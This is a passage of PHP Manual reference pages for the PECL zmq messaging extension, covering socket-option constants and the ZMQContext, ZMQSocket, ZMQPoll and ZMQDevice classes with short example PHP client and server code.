The ZMQ_SNDHWM option shall set the high water mark for outbound messages on the specified socket. Available if compiled against ZeroMQ 3.x or higher (Value: integer).

ZMQ::SOCKOPT_RCVHWM

The ZMQ_SNDHWM option shall set the high water mark for inbound messages on the specified socket. Available if compiled against ZeroMQ 3.x or higher (Value: integer).

ZMQ::SOCKOPT_AFFINITY

Set I/O thread affinity (Value: integer)

ZMQ::SOCKOPT_IDENTITY

Set socket identity (Value: string)

ZMQ::SOCKOPT_SUBSCRIBE

Establish message filter. Valid for subscriber socket (Value: string)

ZMQ::SOCKOPT_UNSUBSCRIBE

Remove message filter. Valid for subscriber socket (Value: string)

ZMQ::SOCKOPT_RATE

Set rate for multicast sockets (pgm) (Value: integer >= 0)

ZMQ::SOCKOPT_RECOVERY_IVL

Set multicast recovery interval (Value: integer >= 0)

ZMQ::SOCKOPT_RECONNECT_IVL

Set the initial reconnection interval (Value: integer >= 0)

ZMQ::SOCKOPT_RECONNECT_IVL_MAX

Set the max reconnection interval (Value: integer >= 0)

ZMQ::SOCKOPT_MCAST_LOOP

Control multicast loopback (Value: integer >= 0)

ZMQ::SOCKOPT_SNDBUF

Set kernel transmit buffer size (Value: integer >= 0)

ZMQ::SOCKOPT_RCVBUF

Set kernel receive buffer size (Value: integer >= 0)

ZMQ::SOCKOPT_RCVMORE

Receive multi-part messages (Value: integer)

ZMQ::SOCKOPT_TYPE

Get the socket type. Valid for getSockOpt (Value: integer)

ZMQ::SOCKOPT_LINGER

The linger value of the socket. Specifies how long the socket blocks trying flush messages after it has been closed (Value: integer)

ZMQ::SOCKOPT_BACKLOG

The SOCKOPT_BACKLOG option shall set the maximum length of the queue of outstanding peer connections for the specified socket; this only applies to connection-oriented transports. (Value: integer)

ZMQ::SOCKOPT_MAXMSGSIZE

Limits the maximum size of the inbound message. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: integer)

ZMQ::SOCKOPT_SNDTIMEO

Sets the timeout for send operation on the socket. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: integer)

ZMQ::SOCKOPT_RCVTIMEO

Sets the timeout for receive operation on the socket. Value -1 means no limit. Available if compiled against ZeroMQ 3.x or higher (Value: integer)

ZMQ::SOCKOPT_IPV4ONLY

Disable IPV6 support if 1. Available if compiled against ZeroMQ 3.x (Value: integer)

ZMQ::SOCKOPT_LAST_ENDPOINT

Retrieve the last connected endpoint - for use with * wildcard ports. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_TCP_KEEPALIVE_IDLE

Idle time for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: integer)

ZMQ::SOCKOPT_TCP_KEEPALIVE_CNT

Count time for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: integer)

ZMQ::SOCKOPT_TCP_KEEPALIVE_INTVL

Interval for TCP keepalive. Available if compiled against ZeroMQ 3.x or higher (Value: integer)

ZMQ::SOCKOPT_DELAY_ATTACH_ON_CONNECT

Set a CIDR string to match against incoming TCP connections. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_TCP_ACCEPT_FILTER

Set a CIDR string to match against incoming TCP connections. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_XPUB_VERBOSE

Set the XPUB to receive an application message on each instance of a subscription. Available if compiled against ZeroMQ 3.x or higher (Value: string)

ZMQ::SOCKOPT_ROUTER_RAW

Sets the raw mode on the ROUTER, when set to 1. In raw mode when using tcp:// transport the socket will read and write without ZeroMQ framing. Available if compiled against ZeroMQ 4.0 or higher (Value: string)

ZMQ::SOCKOPT_IPV6

Enable IPV6. Available if compiled against ZeroMQ 4.0 or higher (Value: string)

ZMQ::CTXOPT_MAX_SOCKETS

The socket limit for this context. Available if compiled against ZeroMQ 3.x or higher (Value: integer)

ZMQ::POLL_IN

Poll for incoming data

ZMQ::POLL_OUT

Poll for outgoing data

ZMQ::MODE_NOBLOCK

Non-blocking operation. Deprecated, use ZMQ::MODE_DONTWAIT instead

ZMQ::MODE_DONTWAIT

Non-blocking operation

ZMQ::MODE_SNDMORE

Send multi-part message

ZMQ::DEVICE_FORWARDER

Forwarder device

ZMQ::DEVICE_QUEUE

Queue device

ZMQ::DEVICE_STREAMER

Streamer device

ZMQ::ERR_INTERNAL

ZMQ extension internal error

ZMQ::ERR_EAGAIN

Implies that the operation would block when ZMQ::MODE_DONTWAIT is used

ZMQ::ERR_ENOTSUP

The operation is not supported by the socket type

ZMQ::ERR_EFSM

The operation can not be executed because the socket is not in correct state

ZMQ::ERR_ETERM

The context has been terminated

Table of Contents

  • ZMQ::__construct — ZMQ constructor

User Contributed Notes

There are no user contributed notes for this page.


ZMQ constructor

  • « ZMQ
  • ZMQContext »
  • PHP Manual
  • ZMQ
  • ZMQ constructor

ZMQ::__construct

(PECL zmq >= 0.5.0)

ZMQ::__construct — ZMQ constructor

Description

privateZMQ::__construct ( void )

Private constructor to prevent direct initialization. This class holds the constants for ZMQ extension.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The ZMQContext class

(No version information available, might only be in Git)

Introduction

Class synopsis

ZMQContext {
/* Methods */
__construct ([ integer $io_threads = 1 [, boolean $is_persistent = true ]] )
public mixed getOpt ( string $key )
public ZMQSocket getSocket ( integer $type [, string $persistent_id = null [, callback $on_new_socket = null ]] )
public boolean isPersistent ( void )
public ZMQContext setOpt ( integer $key , mixed $value )
}

Table of Contents

  • ZMQContext::__construct — Construct a new ZMQContext object
  • ZMQContext::getOpt — Get context option
  • ZMQContext::getSocket — Create a new socket
  • ZMQContext::isPersistent — Whether the context is persistent
  • ZMQContext::setOpt — Set a socket option

User Contributed Notes

There are no user contributed notes for this page.


Construct a new ZMQContext object

  • « ZMQContext
  • ZMQContext::getOpt »
  • PHP Manual
  • ZMQContext
  • Construct a new ZMQContext object

ZMQContext::__construct

(PECL zmq >= 0.5.0)

ZMQContext::__construct — Construct a new ZMQContext object

Description

ZMQContext::__construct ([ integer $io_threads = 1 [, boolean $is_persistent = true ]] )

Constructs a new ZMQ context. The context is used to initialize sockets. A persistent context is required to initialize persistent sockets.

Parameters

io_threads

Number of io-threads in the context.

is_persistent

Whether the context is persistent. Persistent context is stored over multiple requests and is a requirement for persistent sockets.

Examples

Example #1 A ZMQContext() example

Construct a new context and allocate request socket from it

<?php
/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REQ, 'my sock');

/* Connect the socket */
$socket->connect("tcp://example.com:1234");

/* Send a request */
$socket->send("Hello there");

/* Receive back the response */
$message = $socket->recv();
?>

Return Values

Throws ZMQContextException if context initialization fails.

User Contributed Notes

There are no user contributed notes for this page.


Get context option

  • « ZMQContext::__construct
  • ZMQContext::getSocket »
  • PHP Manual
  • ZMQContext
  • Get context option

ZMQContext::getOpt

(PECL zmq >= 1.0.4)

ZMQContext::getOpt — Get context option

Description

public mixed ZMQContext::getOpt ( string $key )

Returns the value of a context option.

Parameters

key

An integer representing the option. See the ZMQ::CTXOPT_* constants.

Return Values

Returns either a string or an integer depending on key. Throws ZMQContextException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create a new socket

  • « ZMQContext::getOpt
  • ZMQContext::isPersistent »
  • PHP Manual
  • ZMQContext
  • Create a new socket

ZMQContext::getSocket

(PECL zmq >= 0.5.0)

ZMQContext::getSocket — Create a new socket

Description

public ZMQSocket ZMQContext::getSocket ( integer $type [, string $persistent_id = null [, callback $on_new_socket = null ]] )

Shortcut for creating new sockets from the context. If the context is not persistent the persistent_id parameter is ignored and the socket falls back to being non-persistent. The on_new_socket is called only when a new underlying socket structure is created.

Parameters

type

ZMQ::SOCKET_* constant to specify socket type.

persistent_id

If persistent_id is specified the socket will be persisted over multiple requests.

on_new_socket

Callback function, which is executed when a new socket structure is created. This function does not get invoked if the underlying persistent connection is re-used. The callback takes ZMQSocket and persistent_id as two arguments.

Examples

Example #1 A ZMQContext() example

Basic usage

<?php
/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REQ, 'my sock');

/* Connect the socket */
$socket->connect("tcp://example.com:1234");

/* Send a request */
$socket->send("Hello there");

/* Receive back the response */
$message = $socket->recv();
echo "Received message: {$message}\n";
?>

Return Values

Returns a ZMQSocket object on success. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Whether the context is persistent

  • « ZMQContext::getSocket
  • ZMQContext::setOpt »
  • PHP Manual
  • ZMQContext
  • Whether the context is persistent

ZMQContext::isPersistent

(PECL zmq >= 0.5.0)

ZMQContext::isPersistent — Whether the context is persistent

Description

public boolean ZMQContext::isPersistent ( void )

Whether the context is persistent. Persistent context is needed for persistent connections as each socket is allocated from a context.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the context is persistent and FALSE if the context is non-persistent.

User Contributed Notes

There are no user contributed notes for this page.


Set a socket option

  • « ZMQContext::isPersistent
  • ZMQSocket »
  • PHP Manual
  • ZMQContext
  • Set a socket option

ZMQContext::setOpt

(PECL zmq >= 1.0.4)

ZMQContext::setOpt — Set a socket option

Description

public ZMQContext ZMQContext::setOpt ( integer $key , mixed $value )

Sets a ZMQ context option. The type of the value depends on the key. See ZMQ Constant Types for more information.

Parameters

key

One of the ZMQ::CTXOPT_* constants.

value

The value of the parameter.

Return Values

Returns the current object. Throws ZMQContextException on error.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQSocket class

(No version information available, might only be in Git)

Introduction

Class synopsis

ZMQSocket {
/* Methods */
public ZMQSocket bind ( string $dsn [, boolean $force = false ] )
public ZMQSocket connect ( string $dsn [, boolean $force = false ] )
__construct ( ZMQContext $context , int $type [, string $persistent_id = null [, callback $on_new_socket = null ]] )
public ZMQSocket disconnect ( string $dsn )
public array getEndpoints ( void )
public string getPersistentId ( void )
public integer getSocketType ( void )
public mixed getSockOpt ( string $key )
public boolean isPersistent ( void )
public string recv ([ integer $mode = 0 ] )
public string recvMulti ([ integer $mode = 0 ] )
public ZMQSocket send ( string $message [, integer $mode = 0 ] )
public ZMQSocket send ( array $message [, integer $mode = 0 ] )
public ZMQSocket setSockOpt ( integer $key , mixed $value )
public ZMQSocket unbind ( string $dsn )
}

Table of Contents

  • ZMQSocket::bind — Bind the socket
  • ZMQSocket::connect — Connect the socket
  • ZMQSocket::__construct — Construct a new ZMQSocket
  • ZMQSocket::disconnect — Disconnect a socket
  • ZMQSocket::getEndpoints — Get list of endpoints
  • ZMQSocket::getPersistentId — Get the persistent id
  • ZMQSocket::getSocketType — Get the socket type
  • ZMQSocket::getSockOpt — Get socket option
  • ZMQSocket::isPersistent — Whether the socket is persistent
  • ZMQSocket::recv — Receives a message
  • ZMQSocket::recvMulti — Receives a multipart message
  • ZMQSocket::send — Sends a message
  • ZMQSocket::sendmulti — Sends a multipart message
  • ZMQSocket::setSockOpt — Set a socket option
  • ZMQSocket::unbind — Unbind the socket

User Contributed Notes

There are no user contributed notes for this page.


Bind the socket

  • « ZMQSocket
  • ZMQSocket::connect »
  • PHP Manual
  • ZMQSocket
  • Bind the socket

ZMQSocket::bind

(PECL zmq >= 0.5.0)

ZMQSocket::bind — Bind the socket

Description

public ZMQSocket ZMQSocket::bind ( string $dsn [, boolean $force = false ] )

Bind the socket to an endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

Parameters

dsn

The bind dsn, for example transport://address.

force

Tries to bind even if the socket has already been bound to the given endpoint.

Return Values

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Connect the socket

  • « ZMQSocket::bind
  • ZMQSocket::__construct »
  • PHP Manual
  • ZMQSocket
  • Connect the socket

ZMQSocket::connect

(PECL zmq >= 0.5.0)

ZMQSocket::connect — Connect the socket

Description

public ZMQSocket ZMQSocket::connect ( string $dsn [, boolean $force = false ] )

Connect the socket to a remote endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

Parameters

dsn

The connect dsn, for example transport://address.

force

Tries to connect even if the socket has already been connected to given endpoint.

Examples

Example #1 A ZMQContext() example

Construct a new context and allocate request socket from it

<?php
/* Server hostname */
$dsn = "tcp://127.0.0.1:5555";

/* Create a socket */
$socket = new ZMQSocket(new ZMQContext(), ZMQ::SOCKET_REQ, 'my socket');

/* Get list of connected endpoints */
$endpoints = $socket->getEndpoints();

/* Check if the socket is connected */
if (!in_array($dsn, $endpoints['connect'])) {
    echo "<p>Connecting to $dsn</p>";
    $socket->connect($dsn);
} else {
    echo "<p>Already connected to $dsn</p>";
}

/* Send and receive */
$socket->send("Hello!");
$message = $socket->recv();

echo "<p>Server said: {$message}</p>";
?>

Return Values

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Construct a new ZMQSocket

  • « ZMQSocket::connect
  • ZMQSocket::disconnect »
  • PHP Manual
  • ZMQSocket
  • Construct a new ZMQSocket

ZMQSocket::__construct

(PECL zmq >= 0.5.0)

ZMQSocket::__construct — Construct a new ZMQSocket

Description

ZMQSocket::__construct ( ZMQContext $context , int $type [, string $persistent_id = null [, callback $on_new_socket = null ]] )

Constructs a ZMQSocket object. persistent_id parameter can be used to allocated a persistent socket. A persistent socket has to be allocated from a persistent context and it stays connected over multiple requests. The persistent_id parameter can be used to recall the same socket over multiple requests. The on_new_socket is called only when a new underlying socket structure is created.

Parameters

context

ZMQContext object.

type

The socket type. See ZMQ::SOCKET_* constants.

persistent_id

If persistent_id is specified the socket will be persisted over multiple requests. If context is not persistent the socket falls back to non-persistent mode.

on_new_socket

Callback function, which is executed when a new socket structure is created. This function does not get invoked if the underlying persistent connection is re-used.

Examples

Example #1 A ZMQSocket() example

Using callback the bind/connect socket

<?php

/*
  The socket is persistent so this function is called only on the
  first request to the script.
*/
function on_new_socket_cb(ZMQSocket $socket, $persistent_id = null)
{
    if ($persistent_id === 'server') {
        $socket->bind("tcp://localhost:12122");
    } else {
        $socket->connect("tcp://localhost:12122");
    }
}

/* Allocate a new context */
$context = new ZMQContext();

/* Create a new socket */
$socket = $context->getSocket(ZMQ::SOCKET_REP, 'server', 'on_new_socket_cb');

$message = $socket->recv();
echo "Received message: {$message}\n";
?>

The callback signature

Note:

function on_new_socket_cb(ZMQSocket $socket, string $persistent_id = null);

Return Values

Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Disconnect a socket

  • « ZMQSocket::__construct
  • ZMQSocket::getEndpoints »
  • PHP Manual
  • ZMQSocket
  • Disconnect a socket

ZMQSocket::disconnect

(PECL zmq >= 1.0.4)

ZMQSocket::disconnect — Disconnect a socket

Description

public ZMQSocket ZMQSocket::disconnect ( string $dsn )

Disconnect the socket from a previously connected remote endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

Parameters

dsn

The connect dsn, for example transport://address.

Return Values

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Get list of endpoints

  • « ZMQSocket::disconnect
  • ZMQSocket::getPersistentId »
  • PHP Manual
  • ZMQSocket
  • Get list of endpoints

ZMQSocket::getEndpoints

(PECL zmq >= 0.5.0)

ZMQSocket::getEndpoints — Get list of endpoints

Description

public array ZMQSocket::getEndpoints ( void )

Returns a list of endpoints where the socket is connected or bound to.

Parameters

This function has no parameters.

Return Values

Returns an array containing elements 'bind' and 'connect'.

User Contributed Notes

There are no user contributed notes for this page.


Get the persistent id

  • « ZMQSocket::getEndpoints
  • ZMQSocket::getSocketType »
  • PHP Manual
  • ZMQSocket
  • Get the persistent id

ZMQSocket::getPersistentId

(PECL zmq >= 0.5.0)

ZMQSocket::getPersistentId — Get the persistent id

Description

public string ZMQSocket::getPersistentId ( void )

Returns the persistent id of the socket.

Parameters

This function has no parameters.

Return Values

Returns the persistent id string assigned of the object and NULL if socket is not persistent.

User Contributed Notes

There are no user contributed notes for this page.


Get the socket type

  • « ZMQSocket::getPersistentId
  • ZMQSocket::getSockOpt »
  • PHP Manual
  • ZMQSocket
  • Get the socket type

ZMQSocket::getSocketType

(PECL zmq >= 0.5.0)

ZMQSocket::getSocketType — Get the socket type

Description

public integer ZMQSocket::getSocketType ( void )

Gets the socket type.

Parameters

This function has no parameters.

Return Values

Returns an integer representing the socket type. The integer can be compared against ZMQ::SOCKET_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Get socket option

  • « ZMQSocket::getSocketType
  • ZMQSocket::isPersistent »
  • PHP Manual
  • ZMQSocket
  • Get socket option

ZMQSocket::getSockOpt

(PECL zmq >= 0.5.0)

ZMQSocket::getSockOpt — Get socket option

Description

public mixed ZMQSocket::getSockOpt ( string $key )

Returns the value of a socket option.

Parameters

key

An integer representing the option. See the ZMQ::SOCKOPT_* constants.

Return Values

Returns either a string or an integer depending on key. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Whether the socket is persistent

  • « ZMQSocket::getSockOpt
  • ZMQSocket::recv »
  • PHP Manual
  • ZMQSocket
  • Whether the socket is persistent

ZMQSocket::isPersistent

(PECL zmq >= 0.5.0)

ZMQSocket::isPersistent — Whether the socket is persistent

Description

public boolean ZMQSocket::isPersistent ( void )

Check whether the socket is persistent.

Parameters

This function has no parameters.

Return Values

Returns a boolean based on whether the socket is persistent or not.

User Contributed Notes

There are no user contributed notes for this page.


Receives a message

  • « ZMQSocket::isPersistent
  • ZMQSocket::recvMulti »
  • PHP Manual
  • ZMQSocket
  • Receives a message

ZMQSocket::recv

(PECL zmq >= 0.5.0)

ZMQSocket::recv — Receives a message

Description

public string ZMQSocket::recv ([ integer $mode = 0 ] )

Receive a message from a socket. By default receiving will block until a message is available unless ZMQ::MODE_NOBLOCK flag is used. ZMQ::SOCKOPT_RCVMORE socket option can be used for receiving multi-part messages. See ZMQSocket::setSockOpt() for more information.

Parameters

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

Examples

Example #1 A send/recv example

Non-blocking send / receive

<?php

/* Create new queue object, there needs to be a server at the other end */
$queue = new ZMQSocket(new ZMQContext(), ZMQ::SOCKET_REQ);
$queue->connect("tcp://127.0.0.1:5555");

/* Assign socket 1 to the queue, send and receive */
$retries = 5;
$sending = true;

/* Start a loop */
do {
    try {
        /* Try to send / receive */
        if ($sending) {
            echo "Sending message\n";
            $queue->send("This is a message", ZMQ::MODE_NOBLOCK);
            $sending = false;
        } else {
            echo "Got response: " . $queue->recv(ZMQ::MODE_NOBLOCK) . "\n";
            break;
        }
    } catch (ZMQSocketException $e) {
        /* EAGAIN means that the operation would have blocked, retry */
        if ($e->getCode() === ZMQ::ERR_EAGAIN) {
            echo " - Got EAGAIN, retrying ($retries)\n";
        } else {
            die(" - Error: " . $e->getMessage());
        }
    }
    /* Sleep a bit between operations */
    usleep(5);
} while (--$retries);
?>

The above example will output something similar to:

Sending message
 - Unable to execute operation, retrying (4)
Got response: This is a message

Return Values

Returns the message. Throws ZMQSocketException in error. If ZMQ::MODE_NOBLOCK is used and the operation would block boolean false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Receives a multipart message

  • « ZMQSocket::recv
  • ZMQSocket::send »
  • PHP Manual
  • ZMQSocket
  • Receives a multipart message

ZMQSocket::recvMulti

(PECL zmq >= 0.8.0)

ZMQSocket::recvMulti — Receives a multipart message

Description

public string ZMQSocket::recvMulti ([ integer $mode = 0 ] )

Receive an array multipart message from a socket. By default receiving will block until a message is available unless ZMQ::MODE_NOBLOCK flag is used.

Parameters

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

Return Values

Returns the array of message parts. Throws ZMQSocketException in error. If ZMQ::MODE_NOBLOCK is used and the operation would block boolean false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Sends a message

  • « ZMQSocket::recvMulti
  • ZMQSocket::sendmulti »
  • PHP Manual
  • ZMQSocket
  • Sends a message

ZMQSocket::send

(PECL zmq >= 0.5.0)

ZMQSocket::send — Sends a message

Description

public ZMQSocket ZMQSocket::send ( string $message [, integer $mode = 0 ] )

Send a message using the socket. The operation can block unless ZMQ::MODE_NOBLOCK is used.

Parameters

message

The message to send.

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

Return Values

Returns the current object. Throws ZMQSocketException on error. If ZMQ::MODE_NOBLOCK is used and the operation would block boolean false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Sends a multipart message

  • « ZMQSocket::send
  • ZMQSocket::setSockOpt »
  • PHP Manual
  • ZMQSocket
  • Sends a multipart message

ZMQSocket::sendmulti

(PECL zmq >= 0.8.0)

ZMQSocket::sendmulti — Sends a multipart message

Description

public ZMQSocket ZMQSocket::send ( array $message [, integer $mode = 0 ] )

Send a multipart message using the socket. The operation can block unless ZMQ::MODE_NOBLOCK is used.

Parameters

message

The message to send - an array of strings

mode

Pass mode flags to receive multipart messages or non-blocking operation. See ZMQ::MODE_* constants.

Return Values

Returns the current object. Throws ZMQSocketException on error. If ZMQ::MODE_NOBLOCK is used and the operation would block boolean false shall be returned.

User Contributed Notes

There are no user contributed notes for this page.


Set a socket option

  • « ZMQSocket::sendmulti
  • ZMQSocket::unbind »
  • PHP Manual
  • ZMQSocket
  • Set a socket option

ZMQSocket::setSockOpt

(PECL zmq >= 0.5.0)

ZMQSocket::setSockOpt — Set a socket option

Description

public ZMQSocket ZMQSocket::setSockOpt ( integer $key , mixed $value )

Sets a ZMQ socket option. The type of the value depends on the key. See ZMQ Constant Types for more information.

Parameters

key

One of the ZMQ::SOCKOPT_* constants.

value

The value of the parameter.

Return Values

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


Unbind the socket

  • « ZMQSocket::setSockOpt
  • ZMQPoll »
  • PHP Manual
  • ZMQSocket
  • Unbind the socket

ZMQSocket::unbind

(PECL zmq >= 1.0.4)

ZMQSocket::unbind — Unbind the socket

Description

public ZMQSocket ZMQSocket::unbind ( string $dsn )

Unbind the socket from an endpoint. The endpoint is defined in format transport://address where transport is one of the following: inproc, ipc, tcp, pgm or epgm.

Parameters

dsn

The previously bound dsn, for example transport://address.

Return Values

Returns the current object. Throws ZMQSocketException on error.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQPoll class

(No version information available, might only be in Git)

Introduction

Class synopsis

ZMQPoll {
/* Methods */
public string add ( mixed $entry , integer $type )
public ZMQPoll clear ( void )
public integer count ( void )
public array getLastErrors ( void )
public integer poll ( array &$readable , array &$writable [, integer $timeout = -1 ] )
public boolean remove ( mixed $item )
}

Table of Contents

  • ZMQPoll::add — Add item to the poll set
  • ZMQPoll::clear — Clear the poll set
  • ZMQPoll::count — Count items in the poll set
  • ZMQPoll::getLastErrors — Get poll errors
  • ZMQPoll::poll — Poll the items
  • ZMQPoll::remove — Remove item from poll set

User Contributed Notes

There are no user contributed notes for this page.


Add item to the poll set

  • « ZMQPoll
  • ZMQPoll::clear »
  • PHP Manual
  • ZMQPoll
  • Add item to the poll set

ZMQPoll::add

(PECL zmq >= 0.5.0)

ZMQPoll::add — Add item to the poll set

Description

public string ZMQPoll::add ( mixed $entry , integer $type )

Adds a new item to the poll set and returns the internal id of the added item. The item can be removed from the poll set using the returned string id.

Parameters

entry

ZMQSocket object or a PHP stream resource

type

Defines what activity the socket is polled for. See ZMQ::POLL_IN and ZMQ::POLL_OUT constants.

Return Values

Returns a string id of the added item which can be later used to remove the item. Throws ZMQPollException on error.

User Contributed Notes

There are no user contributed notes for this page.


Clear the poll set

  • « ZMQPoll::add
  • ZMQPoll::count »
  • PHP Manual
  • ZMQPoll
  • Clear the poll set

ZMQPoll::clear

(PECL zmq >= 0.5.0)

ZMQPoll::clear — Clear the poll set

Description

public ZMQPoll ZMQPoll::clear ( void )

Clears all elements from the poll set.

Parameters

This function has no parameters.

Return Values

Returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Count items in the poll set

  • « ZMQPoll::clear
  • ZMQPoll::getLastErrors »
  • PHP Manual
  • ZMQPoll
  • Count items in the poll set

ZMQPoll::count

(PECL zmq >= 0.5.0)

ZMQPoll::count — Count items in the poll set

Description

public integer ZMQPoll::count ( void )

Count the items in the poll set.

Parameters

This function has no parameters.

Return Values

Returns an integer representing the amount of items in the poll set.

User Contributed Notes

There are no user contributed notes for this page.


Get poll errors

  • « ZMQPoll::count
  • ZMQPoll::poll »
  • PHP Manual
  • ZMQPoll
  • Get poll errors

ZMQPoll::getLastErrors

(PECL zmq >= 0.5.0)

ZMQPoll::getLastErrors — Get poll errors

Description

public array ZMQPoll::getLastErrors ( void )

Returns the ids of the objects that had errors in the last poll.

Parameters

This function has no parameters.

Return Values

Returns an array containing ids for the items that had errors in the last poll. Empty array is returned if there were no errors.

User Contributed Notes

There are no user contributed notes for this page.


Poll the items

  • « ZMQPoll::getLastErrors
  • ZMQPoll::remove »
  • PHP Manual
  • ZMQPoll
  • Poll the items

ZMQPoll::poll

(PECL zmq >= 0.5.0)

ZMQPoll::poll — Poll the items

Description

public integer ZMQPoll::poll ( array &$readable , array &$writable [, integer $timeout = -1 ] )

Polls the items in the current poll set. The readable and writable items are returned in the readable and writable parameters. ZMQPoll::getLastErrors() can be used to check if there were errors.

Parameters

readable

Array where readable ZMQSockets/PHP streams are returned. The array will be cleared at the beginning of the operation.

writable

Array where writable ZMQSockets/PHP streams are returned. The array will be cleared at the beginning of the operation.

timeout

Timeout for the operation. -1 means that poll waits until at least one item has activity. Please note that starting from version 1.0.0 the poll timeout is defined in milliseconds, rather than microseconds.

Examples

Example #1 A ZMQPoll() example

Create a simple poll server

<?php

/* Create socket, request-reply pattern (reply socket) */
$context = new ZMQContext();
$server  = $context->getSocket(ZMQ::SOCKET_REP);

/* Bind to port 5555 on 127.0.0.1 */
$server->bind("tcp://127.0.0.1:5555");

/* Create new pollset for incoming/outgoing message */
$poll = new ZMQPoll();

/* Add the object and listen for poll in/out */
$id = $poll->add($server, ZMQ::POLL_IN | ZMQ::POLL_OUT);
echo "Added object with id " . $id . "\n";

/* Initialise readable and writable arrays */
$readable = array();
$writable = array();

while (true) {
   /* Amount of events retrieved */
   $events = 0;

   try {
       /* Poll until there is something to do */
       $events = $poll->poll($readable, $writable, -1);
       $errors = $poll->getLastErrors();

       if (count($errors) > 0) {
           foreach ($errors as $error) {
               echo "Error polling object " . $error . "\n";
           }
       }
   } catch (ZMQPollException $e) {
       echo "poll failed: " . $e->getMessage() . "\n";
   }

   if ($events > 0) {
       /* Loop through readable objects and recv messages */
       foreach ($readable as $r) {
           try {
               echo "Received message: " . $r->recv() . "\n";
           } catch (ZMQException $e) {
               echo "recv failed: " . $e->getMessage() . "\n";
           }
       }

       /* Loop through writable and send back messages */
       foreach ($writable as $w) {
           try {
               $w->send("Got it!");
           } catch (ZMQException $e) {
               echo "send failed: " . $e->getMessage() . "\n";
           }
       }
   }
}
?>

Return Values

Returns an integer representing amount of items with activity. Throws ZMQPollException on error.

User Contributed Notes

There are no user contributed notes for this page.


Remove item from poll set

  • « ZMQPoll::poll
  • ZMQDevice »
  • PHP Manual
  • ZMQPoll
  • Remove item from poll set

ZMQPoll::remove

(PECL zmq >= 0.5.0)

ZMQPoll::remove — Remove item from poll set

Description

public boolean ZMQPoll::remove ( mixed $item )

Remove item from the poll set. The item parameter can be ZMQSocket object, a stream resource or the id returned from ZMQPoll::add() method.

Parameters

item

The ZMQSocket object, PHP stream or string id of the item.

Return Values

Returns true if the item was removed and false if the object with given id does not exist in the poll set.

User Contributed Notes

There are no user contributed notes for this page.


The ZMQDevice class

(No version information available, might only be in Git)

Introduction

Class synopsis

ZMQDevice {
/* Methods */
__construct ( ZMQSocket $frontend , ZMQSocket $backend [, ZMQSocket $listener ] )
public ZMQDevice getIdleTimeout ( void )
public ZMQDevice getTimerTimeout ( void )
public void run ( void )
public ZMQDevice setIdleCallback ( callable $cb_func , integer $timeout [, mixed $user_data ] )
public ZMQDevice setIdleTimeout ( integer $timeout )
public ZMQDevice setTimerCallback ( callable $cb_func , integer $timeout [, mixed $user_data ] )
public ZMQDevice setTimerTimeout ( integer $timeout )
}

Table of Contents

  • ZMQDevice::__construct — Construct a new device
  • ZMQDevice::getIdleTimeout — Get the idle timeout
  • ZMQDevice::getTimerTimeout — Get the timer timeout
  • ZMQDevice::run — Run the new device
  • ZMQDevice::setIdleCallback — Set the idle callback function
  • ZMQDevice::setIdleTimeout — Set the idle timeout
  • ZMQDevice::setTimerCallback — Set the timer callback function
  • ZMQDevice::setTimerTimeout — Set the timer timeout

User Contributed Notes

There are no user contributed notes for this page.


Construct a new device

  • « ZMQDevice
  • ZMQDevice::getIdleTimeout »
  • PHP Manual
  • ZMQDevice
  • Construct a new device

ZMQDevice::__construct

(PECL zmq >= 0.5.0)

ZMQDevice::__construct — Construct a new device

Description

ZMQDevice::__construct ( ZMQSocket $frontend , ZMQSocket $backend [, ZMQSocket $listener ] )

"ØMQ devices can do intermediation of addresses, services, queues, or any other abstraction you care to define above the message and socket layers." -- zguide

Parameters

frontend

Frontend parameter for the devices. Usually where there messages are coming.

backend

Backend parameter for the devices. Usually where there messages going to.

listener

Listener socket, which receives a copy of all messages going both directions. The type of this socket should be SUB, PULL or DEALER.

Return Values

Call to this method will prepare the device. Usually devices are very long running processes so running this method from interactive script is not recommended. This method throw ZMQDeviceException if the device cannot be started.

User Contributed Notes

There are no user contributed notes for this page.


Get the idle timeout

  • « ZMQDevice::__construct
  • ZMQDevice::getTimerTimeout »
  • PHP Manual
  • ZMQDevice
  • Get the idle timeout

ZMQDevice::getIdleTimeout

(No version information available, might only be in Git)

ZMQDevice::getIdleTimeout — Get the idle timeout

Description

